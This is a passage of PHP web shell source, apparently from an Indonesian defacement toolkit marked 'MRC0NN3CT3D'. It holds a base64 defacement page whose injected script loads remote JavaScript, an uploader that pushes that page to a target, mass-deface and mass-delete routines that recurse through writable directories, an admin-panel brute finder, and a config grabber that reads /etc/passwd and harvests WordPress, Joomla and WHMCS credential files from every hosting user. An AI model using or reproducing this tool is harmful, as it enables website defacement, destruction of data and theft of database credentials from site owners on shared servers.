xkaXYgY2xhc3M9IndvcmQiPg0KICAgIDxkaXYgY2xhc3M9ImNvbnRhaW5lciI+DQogICAgICA8ZGl2IGNsYXNzPSJjdWJlIj4NCiAgICAgICAgPGRpdiBjbGFzcz0ic2lkZSBzaWRlMSI+DQogICAgICAgICAgPGRpdiBjbGFzcz0ibGV0dGVyIj5UPC9kaXY+DQogICAgICAgIDwvZGl2Pg0KICAgICAgICA8ZGl2IGNsYXNzPSJzaWRlIHNpZGUyIj4NCiAgICAgICAgICA8ZGl2IGNsYXNzPSJsZXR0ZXIiPlQ8L2Rpdj4NCiAgICAgICAgPC9kaXY+DQogICAgICAgIDxkaXYgY2xhc3M9InNpZGUgc2lkZTMiPg0KICAgICAgICAgIDxkaXYgY2xhc3M9ImxldHRlciI+VDwvZGl2Pg0KICAgICAgICA8L2Rpdj4NCiAgICAgICAgPGRpdiBjbGFzcz0ic2lkZSBzaWRlNCI+DQogICAgICAgICAgPGRpdiBjbGFzcz0ibGV0dGVyIj5UPC9kaXY+DQogICAgICAgIDwvZGl2Pg0KICAgICAgICA8ZGl2IGNsYXNzPSJzaWRlIHNpZGU1Ij4NCiAgICAgICAgICA8ZGl2IGNsYXNzPSJsZXR0ZXIiPlQ8L2Rpdj4NCiAgICAgICAgPC9kaXY+DQogICAgICAgIDxkaXYgY2xhc3M9InNpZGUgc2lkZTYiPg0KICAgICAgICAgIDxkaXYgY2xhc3M9ImxldHRlciI+VDwvZGl2Pg0KICAgICAgICA8L2Rpdj4NCiAgICAgIDwvZGl2Pg0KICAgIDwvZGl2Pg0KICAgIDxkaXYgY2xhc3M9ImNvbnRhaW5lciI+DQogICAgICA8ZGl2IGNsYXNzPSJjdWJlIj4NCiAgICAgICAgPGRpdiBjbGFzcz0ic2lkZSBzaWRlMSI+DQogICAgICAgICAgPGRpdiBjbGFzcz0ibGV0dGVyIj5FPC9kaXY+DQogICAgICAgIDwvZGl2Pg0KICAgICAgICA8ZGl2IGNsYXNzPSJzaWRlIHNpZGUyIj4NCiAgICAgICAgICA8ZGl2IGNsYXNzPSJsZXR0ZXIiPkU8L2Rpdj4NCiAgICAgICAgPC9kaXY+DQogICAgICAgIDxkaXYgY2xhc3M9InNpZGUgc2lkZTMiPg0KICAgICAgICAgIDxkaXYgY2xhc3M9ImxldHRlciI+RTwvZGl2Pg0KICAgICAgICA8L2Rpdj4NCiAgICAgICAgPGRpdiBjbGFzcz0ic2lkZSBzaWRlNCI+DQogICAgICAgICAgPGRpdiBjbGFzcz0ibGV0dGVyIj5FPC9kaXY+DQogICAgICAgIDwvZGl2Pg0KICAgICAgICA8ZGl2IGNsYXNzPSJzaWRlIHNpZGU1Ij4NCiAgICAgICAgICA8ZGl2IGNsYXNzPSJsZXR0ZXIiPkU8L2Rpdj4NCiAgICAgICAgPC9kaXY+DQogICAgICAgIDxkaXYgY2xhc3M9InNpZGUgc2lkZTYiPg0KICAgICAgICAgIDxkaXYgY2xhc3M9ImxldHRlciI+RTwvZGl2Pg0KICAgICAgICA8L2Rpdj4NCiAgICAgIDwvZGl2Pg0KICAgIDwvZGl2Pg0KICAgIDxkaXYgY2xhc3M9ImNvbnRhaW5lciI+DQogICAgICA8ZGl2IGNsYXNzPSJjdWJlIj4NCiAgICAgICAgPGRpdiBjbGFzcz0ic2lkZSBzaWRlMSI+DQogICAgICAgICAgPGRpdiBjbGFzcz0ibGV0dGVyIj5BPC9kaXY+DQogICAgICAgIDwvZGl2Pg0KICAgICAgICA8ZGl2IGNsYXNzPSJzaWRlIHNpZGUyIj4NCiAgICAgICAgICA8ZGl2IGNsYXNzPSJsZXR0ZXIiPkE8L2Rpdj4NCiAgICAgICAgPC9kaXY+DQogICAgICAgIDxkaXYgY2xhc3M9InNpZGUgc2lkZTMiPg0KICAgICAgICAgIDxkaXYgY2xhc3M9ImxldHRlciI+QTwvZGl2Pg0KICAgICAgICA8L2Rpdj4NCiAgICAgICAgPGRpdiBjbGFzcz0ic2lkZSBzaWRlNCI+DQogICAgICAgICAgPGRpdiBjbGFzcz0ibGV0dGVyIj5BPC9kaXY+DQogICAgICAgIDwvZGl2Pg0KICAgICAgICA8ZGl2IGNsYXNzPSJzaWRlIHNpZGU1Ij4NCiAgICAgICAgICA8ZGl2IGNsYXNzPSJsZXR0ZXIiPkE8L2Rpdj4NCiAgICAgICAgPC9kaXY+DQogICAgICAgIDxkaXYgY2xhc3M9InNpZGUgc2lkZTYiPg0KICAgICAgICAgIDxkaXYgY2xhc3M9ImxldHRlciI+QTwvZGl2Pg0KICAgICAgICA8L2Rpdj4NCiAgICAgIDwvZGl2Pg0KICAgIDwvZGl2Pg0KICAgIDxkaXYgY2xhc3M9ImNvbnRhaW5lciI+DQogICAgICA8ZGl2IGNsYXNzPSJjdWJlIj4NCiAgICAgICAgPGRpdiBjbGFzcz0ic2lkZSBzaWRlMSI+DQogICAgICAgICAgPGRpdiBjbGFzcz0ibGV0dGVyIj5NPC9kaXY+DQogICAgICAgIDwvZGl2Pg0KICAgICAgICA8ZGl2IGNsYXNzPSJzaWRlIHNpZGUyIj4NCiAgICAgICAgICA8ZGl2IGNsYXNzPSJsZXR0ZXIiPk08L2Rpdj4NCiAgICAgICAgPC9kaXY+DQogICAgICAgIDxkaXYgY2xhc3M9InNpZGUgc2lkZTMiPg0KICAgICAgICAgIDxkaXYgY2xhc3M9ImxldHRlciI+TTwvZGl2Pg0KICAgICAgICA8L2Rpdj4NCiAgICAgICAgPGRpdiBjbGFzcz0ic2lkZSBzaWRlNCI+DQogICAgICAgICAgPGRpdiBjbGFzcz0ibGV0dGVyIj5NPC9kaXY+DQogICAgICAgIDwvZGl2Pg0KICAgICAgICA8ZGl2IGNsYXNzPSJzaWRlIHNpZGU1Ij4NCiAgICAgICAgICA8ZGl2IGNsYXNzPSJsZXR0ZXIiPk08L2Rpdj4NCiAgICAgICAgPC9kaXY+DQogICAgICAgIDxkaXYgY2xhc3M9InNpZGUgc2lkZTYiPg0KICAgICAgICAgIDxkaXYgY2xhc3M9ImxldHRlciI+TTwvZGl2Pg0KICAgICAgICA8L2Rpdj4NCiAgICAgIDwvZGl2Pg0KICAgIDwvZGl2Pg0KICA8L2Rpdj4NCjwvZGl2PjxwIGNsYXNzPSJmIj48YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iaHR0cHM6Ly93d3cuZmFjZWJvb2suY29tL3hhaXN5bmRpY2F0ZS8iPkNvbnRhY3Q8L2E+PGJyIC8+IC4vTVJDME5OM0NUM0Q8L3A+DQogIA0KICANCiAgICA8c2NyaXB0Pg0KICAgICd1c2Ugc3RyaWN0JzsNCg0KdmFyIGZhY2VzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSgnc2lkZScpOw0KdmFyIENPTE9SUyA9IFsnI2Y0ZjNkMicsICcjRjE1MTVDJywgJyMyMkQ0QkUnLCAnIzQzM0QzQSddOw0KdmFyIEJPUkRFUl9TVFlMRSA9IFsnc29saWQnLCAnZGFzaGVkJ107DQoNCnZhciBnZXRSYW5kb21JbnQgPSBmdW5jdGlvbiBnZXRSYW5kb21JbnQobWluLCBtYXgpIHsNCiAgcmV0dXJuIE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIChtYXggLSBtaW4gKyAxKSkgKyBtaW47DQp9Ow0KdmFyIHJlbW92ZUVsZW1lbnRGcm9tQXJyYXkgPSBmdW5jdGlvbiByZW1vdmVFbGVtZW50RnJvbUFycmF5KGVsZW1lbnQsIGFycmF5KSB7DQogIHZhciBhcnIgPSBbXS5jb25jYXQoYXJyYXkpOw0KICB2YXIgaW5kZXggPSBhcnIuaW5kZXhPZihlbGVtZW50KTsNCiAgaWYgKGluZGV4ID4gLTEpIGFyci5zcGxpY2UoaW5kZXgsIDEpOw0KICByZXR1cm4gYXJyOw0KfTsNCnZhciBnZXRSYW5kb21FbG0gPSBmdW5jdGlvbiBnZXRSYW5kb21FbG0oKSB7DQogIHZhciBhcnIgPSBhcmd1bWVudHMubGVuZ3RoIDw9IDAgfHwgYXJndW1lbnRzWzBdID09PSB1bmRlZmluZWQgPyBDT0xPUlMgOiBhcmd1bWVudHNbMF07DQogIHJldHVybiBhcnJbZ2V0UmFuZG9tSW50KDAsIGFyci5sZW5ndGggLSAxKV07DQp9Ow0Kd2luZG93LnNldEludGVydmFsKGZ1bmN0aW9uICgpIHsNCiAgdmFyIGkgPSB1bmRlZmluZWQ7DQogIHZhciBiYWNrZ3JvdW5kQ29sb3IgPSBnZXRSYW5kb21FbG0oKTsNCiAgdmFyIG5ld0NvbG9yQXJyYXkgPSByZW1vdmVFbGVtZW50RnJvbUFycmF5KGJhY2tncm91bmRDb2xvciwgQ09MT1JTKTsNCiAgdmFyIGZvbnRDb2xvciA9IGdldFJhbmRvbUVsbShuZXdDb2xvckFycmF5KTsNCiAgdmFyIGJvcmRlclRleHRDb2xvciA9IGdldFJhbmRvbUVsbSgpOw0KICB2YXIgcmFuZG9tQ29sb3JzID0gTWF0aC5yYW5kb20oKSA+IDAuNjsNCiAgdmFyIGJvcmRlciA9IHsNCiAgICB3aWR0aDogZ2V0UmFuZG9tSW50KDAsIDMpICsgJ3B4JywNCiAgICBzdHlsZTogZ2V0UmFuZG9tRWxtKEJPUkRFUl9TVFlMRSksDQogICAgY29sb3I6IGdldFJhbmRvbUVsbSgpDQogIH07DQogIGZvciAoaSA9IDA7IGkgPCBmYWNlcy5sZW5ndGg7IGkrKykgew0KICAgIGlmIChyYW5kb21Db2xvcnMpIHsNCiAgICAgIGJhY2tncm91bmRDb2xvciA9IGdldFJhbmRvbUVsbSgpOw0KICAgICAgbmV3Q29sb3JBcnJheSA9IHJlbW92ZUVsZW1lbnRGcm9tQXJyYXkoYmFja2dyb3VuZENvbG9yLCBDT0xPUlMpOw0KICAgICAgZm9udENvbG9yID0gZ2V0UmFuZG9tRWxtKG5ld0NvbG9yQXJyYXkpOw0KICAgIH0NCiAgICBmYWNlc1tpXS5zdHlsZS5jb2xvciA9IGZvbnRDb2xvcjsNCiAgICBmYWNlc1tpXS5zdHlsZS5iYWNrZ3JvdW5kQ29sb3IgPSBiYWNrZ3JvdW5kQ29sb3I7DQogICAgZmFjZXNbaV0uc3R5bGUuYm9yZGVyQ29sb3IgPSBib3JkZXIuY29sb3I7DQogICAgZmFjZXNbaV0uc3R5bGUuYm9yZGVyV2lkdGggPSBib3JkZXIud2lkdGg7DQogICAgZmFjZXNbaV0uc3R5bGUuYm9yZGVyU3R5bGUgPSBib3JkZXIuc3R5bGU7DQogICAgZmFjZXNbaV0uc3R5bGUudGV4dFNoYWRvdyA9ICcxcHggMCAwICcgKyBib3JkZXJUZXh0Q29sb3IgKyAnLCAtKDFweCkgMCAwICcgKyBib3JkZXJUZXh0Q29sb3IgKyAnLCAwIDFweCAwICcgKyBib3JkZXJUZXh0Q29sb3IgKyAnLCAwIC0oMXB4KSAwICcgKyBib3JkZXJUZXh0Q29sb3IgKyAnLCAxcHggMXB4ICcgKyBib3JkZXJUZXh0Q29sb3IgKyAnLCAtMXB4IC0xcHggMCAnICsgYm9yZGVyVGV4dENvbG9yICsgJywgMXB4IC0xcHggMCAnICsgYm9yZGVyVGV4dENvbG9yICsgJywgLTFweCAxcHggMCAnICsgYm9yZGVyVGV4dENvbG9yOw0KICB9DQp9LCAxNTApOw0KICA8L3NjcmlwdD4NCg0KIDxlbWJlZA0Kc3JjPSJodHRwOi8vd3d3LnlvdXR1YmUuY29tL3YvM25oaVkteWVDSncmYW1wO2F1dG9wbGF5PTEmYW1wO2xvb3A9MSZhbXA7cGxheWxpc3Q9b2dKNXY0cGZzb2MiDQp0eXBlPSJhcHBsaWNhdGlvbi94LXNob2Nrd2F2ZS1mbGFzaCIgd21vZGU9InRyYW5zcGFyZW50IiBoZWlnaHQ9IjEiDQp3aWR0aD0iMSI+PC9lbWJlZD4gDQogIA0KDQo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+aWYgKHNlbGY9PXRvcCkge2Z1bmN0aW9uIG5ldGJyb19jYWNoZV9hbmFseXRpY3MoZm4sIGNhbGxiYWNrKSB7c2V0VGltZW91dChmdW5jdGlvbigpIHtmbigpO2NhbGxiYWNrKCk7fSwgMCk7fWZ1bmN0aW9uIHN5bmMoZm4pIHtmbigpO31mdW5jdGlvbiByZXF1ZXN0Q2ZzKCl7dmFyIGlkY19nbG9fdXJsID0gKGxvY2F0aW9uLnByb3RvY29sPT0iaHR0cHM6IiA/ICJodHRwczovLyIgOiAiaHR0cDovLyIpO3ZhciBpZGNfZ2xvX3IgPSBNYXRoLmZsb29yKE1hdGgucmFuZG9tKCkqOTk5OTk5OTk5OTkpO3ZhciB1cmwgPSBpZGNfZ2xvX3VybCsgImNmczIudXpvbmUuaWQvMmZuN2EyL3JlcXVlc3QiICsgIj9pZD0xIiArICImZW5jPTlVd2t4TGdZOSIgKyAiJnBhcmFtcz0iICsgIjRUdEhhVVFuVUVpUDZLJTJmYzVDNTgyQ0w0TmpwTmdzc0szampCJTJmNjEyNGFZM2ZZcnN3bVNUSnBrNk1KaWtJc2lYV1BzV1ZlVzVhS2VkUEVPMmhyb1RBN3pBeGNvY0glMmZ4VTNMNnQ0VjlmVWhobEE5bWpOTlA3OFZneHlVUDhQSHMzeSUyZjdhUzBMJTJmdXBtU08wQUtQMlBtMUdyZlRabTUwZ2RickkxT1pTbHkwd0glMmJ0dlB4VjR6aUtpZFN2ZHFPQjdVbXltNWRaNlkwTXElMmJNdjlScjREZyUyYkF1UDN6UVYzUnY4ZXNnc0hJQVJhdU9JUGs5endQS2t4eWIlMmJDYnAzdktGRjdVWGslMmJmbTBwcHEwUjN1QUhvUVc4VW1YYUp5WEhSc3ZDdVklMmZyRElJRTkxRVBVUkFBM05IMUNwZU1hZDhjZ3IwV2piRDhwZksxNmQ3b3Q4bDljSnB1TnJLcUt1S0loa25VUGVKZFpNS25pSm53JTJiSWNwT0xtM1lIajclMmZDUnA3VHk3ViUyYjJvMmttVEk3Mk5CaTJuaEZ3b2NVJTJiM0ZObXhyaU5LTGRKVlpDUjdZQ2hkbVgwNnAlMmZHVXZuWkNPQlQzWm03d2VVaDdsUmpablcycWxIVXlVeW5EdTdQcSUyYlRlUkNlT0hkUkRvSXdhZHo0YkglMmZDRjNTdmdWbHRla3QzZlk4cjhjNHI4cEE0QiUyYjQzMkwzTnY3ZFYlMmZXVVZnNEc2enR3YUtNTG9kJTJmNWxuMlNHWWU3Wk5tWHFidzNNSnFDN01VdiUyYmNqSyUyYjlVeFVhVk1tcWFCdUhQTWQyQ01nJTNkJTNkIiArICImaWRjX3I9IitpZGNfZ2xvX3IgKyAiJmRvbWFpbj0iK2RvY3VtZW50LmRvbWFpbiArICImc3c9IitzY3JlZW4ud2lkdGgrIiZzaD0iK3NjcmVlbi5oZWlnaHQ7dmFyIGJzYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpO2JzYS50eXBlID0gJ3RleHQvamF2YXNjcmlwdCc7YnNhLmFzeW5jID0gdHJ1ZTtic2Euc3JjID0gdXJsOyhkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgnaGVhZCcpWzBdfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgnYm9keScpWzBdKS5hcHBlbmRDaGlsZChic2EpO31uZXRicm9fY2FjaGVfYW5hbHl0aWNzKHJlcXVlc3RDZnMsIGZ1bmN0aW9uKCl7fSk7fTs8L3NjcmlwdD48L2JvZHk+DQo8L2h0bWw+";
$decode_isi = base64_decode($isi_nama);
$encode = base64_encode($globa);
$ss = fopen($globa,"w");
fputs($ss, $decode_isi);
echo "[+] <a href='$korban' targets='_blank'>$korba</a> <br>";
echo "Done MRC.php<br>";
$url_mkfil = "$korba?cmd=mkfile&name=$globa&targets=l1_Lw";
$post1 = array(
"targets" => "l1_$encode",
"content" => "$decode_isi",);
$post2 = array( "upload[]" => "@$globa",);
$output_mkfil = ngirim("$korban", $post1);
$upload_as = ngirim("$korban?cmd=upload", $post2);
}
}
}
//MASS DEFACE
if($_GET['mrc'] == 'mass_deface') {
function sabun_massal($dir,$namafile,$isi_script) {
if(is_writable($dir)) {
$dira = scandir($dir);
foreach($dira as $dirb) {
$dirc = "$dir/$dirb";
$lokasi = $dirc.'/'.$namafile;
if($dirb === '.') {
file_put_contents($lokasi, $isi_script);
} elseif($dirb === '..') {
file_put_contents($lokasi, $isi_script);
} else {
if(is_dir($dirc)) {
if(is_writable($dirc)) {
echo "[<font color=lime>DONE</font>] $lokasi<br>";
file_put_contents($lokasi, $isi_script);
$idx = sabun_massal($dirc,$namafile,$isi_script);
}
}
}
}
}
}
function sabun_biasa($dir,$namafile,$isi_script) {
if(is_writable($dir)) {
$dira = scandir($dir);
foreach($dira as $dirb) {
$dirc = "$dir/$dirb";
$lokasi = $dirc.'/'.$namafile;
if($dirb === '.') {
file_put_contents($lokasi, $isi_script);
} elseif($dirb === '..') {
file_put_contents($lokasi, $isi_script);
} else {
if(is_dir($dirc)) {
if(is_writable($dirc)) {
echo "[<font color=lime>DONE</font>] $dirb/$namafile<br>";
file_put_contents($lokasi, $isi_script);
}
}
}
}
}
}
if($_POST['start']) {
if($_POST['tipe_sabun'] == 'mahal') {
echo "<div style='margin: 5px auto; padding: 5px'>";
sabun_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
echo "</div>";
} elseif($_POST['tipe_sabun'] == 'murah') {
echo "<div style='margin: 5px auto; padding: 5px'>";
sabun_biasa($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
echo "</div>";
}
} else {
echo "<center>";
echo "<form method='post'>
Tipe Sabun<br>
<input type='radio' name='tipe_sabun' value='murah' checked>Biasa<input type='radio' name='tipe_sabun' value='mahal'>Massal<br>
Folder<br>
<input type='text' name='d_dir' value='$dir' style='width: 450px;' height='10'><br>
Filename<br>
<input type='text' name='d_file' value='index.php' style='width: 450px;' height='10'><br>
Index File<br>
<textarea name='script' style='width: 450px; height: 200px;'>./MRC0NN3CT3D</textarea><br>
<input type='submit' name='start' value='Mass Deface' style='width: 450px;'>
</form></center>";
}
}
//MASS DELETE
if($_GET['mrc'] == 'mass_delete') {
function hapus_massal($dir,$namafile) {
if(is_writable($dir)) {
$dira = scandir($dir);
foreach($dira as $dirb) {
$dirc = "$dir/$dirb";
$lokasi = $dirc.'/'.$namafile;
if($dirb === '.') {
if(file_exists("$dir/$namafile")) {
unlink("$dir/$namafile");
}
} elseif($dirb === '..') {
if(file_exists("".dirname($dir)."/$namafile")) {
unlink("".dirname($dir)."/$namafile");
}
} else {
if(is_dir($dirc)) {
if(is_writable($dirc)) {
if(file_exists($lokasi)) {
echo "[<font color=lime>DELETED</font>] $lokasi<br>";
unlink($lokasi);
$idx = hapus_massal($dirc,$namafile);
}
}
}
}
}
}
}
if($_POST['start']) {
echo "<div style='margin: 5px auto; padding: 5px'>";
hapus_massal($_POST['d_dir'], $_POST['d_file']);
echo "</div>";
} else {
echo "<center>";
echo "<form method='post'>
<font style='text-decoration: underline;'>Folder:</font><br>
<input type='text' name='d_dir' value='$dir' style='width: 450px;' height='10'><br>
<font style='text-decoration: underline;'>Filename:</font><br>
<input type='text' name='d_file' value='index.php' style='width: 450px;' height='10'><br>
<input type='submit' name='start' value='Mass Delete' style='width: 450px;'>
</form></center>";
}
}
//ADMIN FINDER
if($_GET['mrc'] == 'admf') {
?>
<type='text/javascript'/></script>
<style>
</style>
</head>
<link rel="SHORTCUT ICON" href="http://i.imgur.com/2Koa43H.png">
</style>
<br>
<br>
<br>
<td width=100% id=Gretz>
<form action="" method="post">
<center><p class="frontboxtext"><input name="hash_lol" class="textbox" type="text" size="30" placeholder="http://www.yourtarget.id/"/>
<input name="submit_lol" class="textbox" value="Submit Site" type="submit">
</form>
<?php
set_time_limit(0);
if (isset($_POST["submit_lol"])) {
$url = $_POST['hash_lol'];
echo "<br />Crot ".$url."<br /><br />";
$adminlocales = array("/-adminweb/","/!adminweb/","/@adminweb/","/adminweb121/","/adminweb90/","/adminweb145/","/khususadmin/","/rahasiaadm/","/adminweb123123/","/adminweb2222/","/adminlanel/","/adminlanel.php/","/monitor123.php/","/masuk.php/","/css.php/", "/admin1235.php/", "/master.php/","/1admin/","/123admin/","/addmin/","/home.php","/css/","/rediect.php/","/masuk.php/","/index.php/","/webpaneladmin123/","/registeradm/","/register/","/member123/","/123adminweb/","/123paneladminweb/","/panelauth1231/","/loginadminweb21/","/loginadminweb123/","/loginadminweb/","/webadmin123/","/redakturadmin/","/paneladminweb/","/admloginadm/","/4dm1n/","/admin12345/","/adminweb12/","/adminweb111/","/adminweb123/","/adminweb1/","/gangmasuk/","/gangadmin/","/admredaktur/","/adminwebredaktur/","/adminredaktur/","/adm/", "/_adm_/", "/_admin_/", "/_loginadm_/", "/_login_admin_/", "/minmin", "/loginadmin3/", "/masuk/admin", "/webmail", "/_loginadmin_/", "/_login_admin.php_/", "/_admin_/", "/_administrator_/", "/operator/", "/sika/", "/adminweb/", "/develop/", "/ketua/", "/redaktur/", "/author/", "/admin/", "/administrator/", "/adminweb/", "/user/", "/users/", "/dinkesadmin/", "/retel/", "/author/", "/panel/", "/paneladmin/", "/panellogin/", "/redaksi/", "/cp-admin/", "/login@web/", "/admin1/", "/admin2/", "/admin3/", "/admin4/", "/admin5/", "/admin6/", "/admin7", "/admin8", "/admin9", "/admin10", "/master/", "/master/index.php", "/master/login.php", "/operator/index.php", "/sika/index.php", "/develop/index.php", "/ketua/index.php","/redaktur/index.php", "/admin/index.php", "/administrator/index.php", "/adminweb/index.php", "/user/index.php", "/users/index.php", "/dinkesadmin/index.php", "/retel/index.php", "/author/index.php", "/panel/index.php", "/paneladmin/index.php", "/panellogin/index.php", "/redaksi/index.php", "/cp-admin/index.php", "/operator/login.php", "/sika/login.php", "/develop/login.php", "/ketua/login.php", "/redaktur/login.php", "/admin/login.php", "/administrator/login.php", "/adminweb/login.php", "/user/login.php", "/users/login.php", "/dinkesadmin/login.php", "/retel/login.php", "/author/login.php", "/panel/login.php", "/paneladmin/login.php", "/panellogin/login.php", "/redaksi/login.php", "/cp-admin/login.php", "/terasadmin/", "/terasadmin/index.php", "/terasadmin/login.php", "/rahasia/", "/rahasia/index.php", "/rahasia/admin.php", "/rahasia/login.php", "/dinkesadmin/", "/dinkesadmin/login.php", "/adminpmb/", "/adminpmb/index.php", "/adminpmb/login.php", "/system/", "/system/index.php", "/system/login.php", "/webadmin/", "/webadmin/index.php", "/webadmin/login.php", "/wpanel/", "/wpanel/index.php", "/wpanel/login.php", "/adminpanel/index.php", "/adminpanel/", "/adminpanel/login.php", "/adminkec/", "/adminkec/index.php", "/adminkec/login.php", "/admindesa/", "/admindesa/index.php", "/admindesa/login.php", "/adminkota/", "/adminkota/index.php", "/adminkota/login.php", "/admin123/", "/admin123/index.php", "/dologin/", "/home.asp/","/supervise/amdin", "/relogin/adm", "/checkuser", "/relogin.php", "/relogin.asp", "/wp-admin", "/registration", "/suvervise", "/superman.php", "/member.php","/home/admin","/po-admin/","/do_login.php", "/bo-login", "/bo_login.php/", "/index.php/admin", "/admiiin.php", "/masuk/adm","/website_login/", "/dashboard/admin", "/dashboard.php", "/dashboard_adm", "/admin123/login.php", "/logout1/", "/logout/","/pengelola/login", "/manageradm/", "/logout.asp", "/manager/adm", "/pengelola/web","/auth/panel", "/logout/index.php", "/logout/login.php", "/controladm/", "/logout/admin.php", "/adminweb_setting", "/adm/index.asp", "/adm.asp", "/affiliate.asp", "/adm_auth.asp", "/memberadmin.asp", "/siteadmin/login.asp", "/siteadmin/login", "/paneldecontrol", "/cms/admin", "/administracion.php", "/ADMON/", "/administrador/", "/panelc/", "/admincp", "/admcp", "/cp", "/modcp", "/moderatorcp", "/adminare", "/cpanel", "/controlpanel");
foreach ($adminlocales as $admin){
$headers = get_headers("$url$admin");
if (eregi('200', $headers[0])) {
echo "<a href='$url/$admin'>$url$admin</a><font color=lime> Ketemu Coeg!</font><br />";
}
else {
echo "$url$admin <font color=#F1515C>Gak ketemu!</font><br />";
}
}
}
}
//CONFIG
if($_GET['mrc'] == 'config') {
$etc = fopen("/etc/passwd", "r") or die("<center><pre><font color=#F1515C>Can't read /etc/passwd</font></pre></center>");
$idx = mkdir("mrc_config", 0777);
$isi_htc = "Options all
Require None
Satisfy Any";
$htc = fopen("mrc_config/.htaccess","w");
fwrite($htc, $isi_htc);
while($passwd = fgets($etc)) {
if($passwd == "" || !$etc) {
echo "<font color=#F1515C>Can't read /etc/passwd</font>";
} else {
preg_match_all('/(.*?):x:/', $passwd, $user_config);
foreach($user_config[1] as $user_mrc) {
$user_config_dir = "/home/$user_mrc/public_html/";
if(is_readable($user_config_dir)) {
$grab_config = array(
"/home/$user_mrc/public_html/vb/includes/config.php" => "Vbulletin.txt",
"/home/$user_mrc/public_html/includes/config.php" => "Vbulletin.txt",
"/home/$user_mrc/public_html/forum/includes/config.php" => "Vbulletin.txt",
"/home/$user_mrc/public_html/forums/includes/config.php" => "Vbulletin.txt",
"/home/$user_mrc/public_html/cc/includes/config.php" => "Vbulletin.txt",
"/home/$user_mrc/public_html/inc/config.php" => "MyBB.txt",
"/home/$user_mrc/public_html/includes/configure.php" => "OsCommerce.txt",
"/home/$user_mrc/public_html/shop/includes/configure.php" => "OsCommerce.txt",
"/home/$user_mrc/public_html/os/includes/configure.php" => "OsCommerce.txt",
"/home/$user_mrc/public_html/oscom/includes/configure.php" => "OsCommerce.txt",
"/home/$user_mrc/public_html/products/includes/configure.php" => "OsCommerce.txt",
"/home/$user_mrc/public_html/cart/includes/configure.php" => "OsCommerce.txt",
"/home/$user_mrc/public_html/inc/conf_global.php" => "IPB.txt",
"/home/$user_mrc/public_html/wp-config.php" => "Wordpress.txt",
"/home/$user_mrc/public_html/wp/test/wp-config.php" => "Wordpress.txt",
"/home/$user_mrc/public_html/blog/wp-config.php" => "Wordpress.txt",
"/home/$user_mrc/public_html/beta/wp-config.php" => "Wordpress.txt",
"/home/$user_mrc/public_html/portal/wp-config.php" => "Wordpress.txt",
"/home/$user_mrc/public_html/site/wp-config.php" => "Wordpress.txt",
"/home/$user_mrc/public_html/wp/wp-config.php" => "Wordpress.txt",
"/home/$user_mrc/public_html/WP/wp-config.php" => "Wordpress.txt",
"/home/$user_mrc/public_html/news/wp-config.php" => "Wordpress.txt",
"/home/$user_mrc/public_html/wordpress/wp-config.php" => "Wordpress.txt",
"/home/$user_mrc/public_html/test/wp-config.php" => "Wordpress.txt",
"/home/$user_mrc/public_html/demo/wp-config.php" => "Wordpress.txt",
"/home/$user_mrc/public_html/home/wp-config.php" => "Wordpress.txt",
"/home/$user_mrc/public_html/v1/wp-config.php" => "Wordpress.txt",
"/home/$user_mrc/public_html/v2/wp-config.php" => "Wordpress.txt",
"/home/$user_mrc/public_html/press/wp-config.php" => "Wordpress.txt",
"/home/$user_mrc/public_html/new/wp-config.php" => "Wordpress.txt",
"/home/$user_mrc/public_html/blogs/wp-config.php" => "Wordpress.txt",
"/home/$user_mrc/public_html/configuration.php" => "Joomla.txt",
"/home/$user_mrc/public_html/blog/configuration.php" => "Joomla.txt",
"/home/$user_mrc/public_html/submitticket.php" => "^WHMCS.txt",
"/home/$user_mrc/public_html/cms/configuration.php" => "Joomla.txt",
"/home/$user_mrc/public_html/beta/configuration.php" => "Joomla.txt",
"/home/$user_mrc/public_html/portal/configuration.php" => "Joomla.txt",
"/home/$user_mrc/public_html/site/configuration.php" => "Joomla.txt",
"/home/$user_mrc/public_html/main/configuration.php" => "Joomla.txt",
"/home/$user_mrc/public_html/home/configuration.php" => "Joomla.txt",
"/home/$user_mrc/public_html/demo/configuration.php" => "Joomla.txt",
"/home/$user_mrc/public_html/test/configuration.php" => "Joomla.txt",
"/home/$user_mrc/public_html/v1/configuration.php" => "Joomla.txt",
"/home/$user_mrc/public_html/v2/configuration.php" => "Joomla.txt",
"/home/$user_mrc/public_html/joomla/configuration.php" => "Joomla.txt",
"/home/$user_mrc/public_html/new/configuration.php" => "Joomla.txt",
"/home/$user_mrc/public_html/WHMCS/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/whmcs1/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/Whmcs/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/whmcs/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/whmcs/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/WHMC/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/Whmc/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/whmc/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/WHM/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/Whm/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/whm/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/HOST/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/Host/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/host/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/SUPPORTES/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/Supportes/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/supportes/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/domains/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/domain/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/Hosting/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/HOSTING/configuration.php" => "WHMCS.txt",
"/home/$user_mrc/public_html/hosting/configuration.php" => "WHMCS.txt",
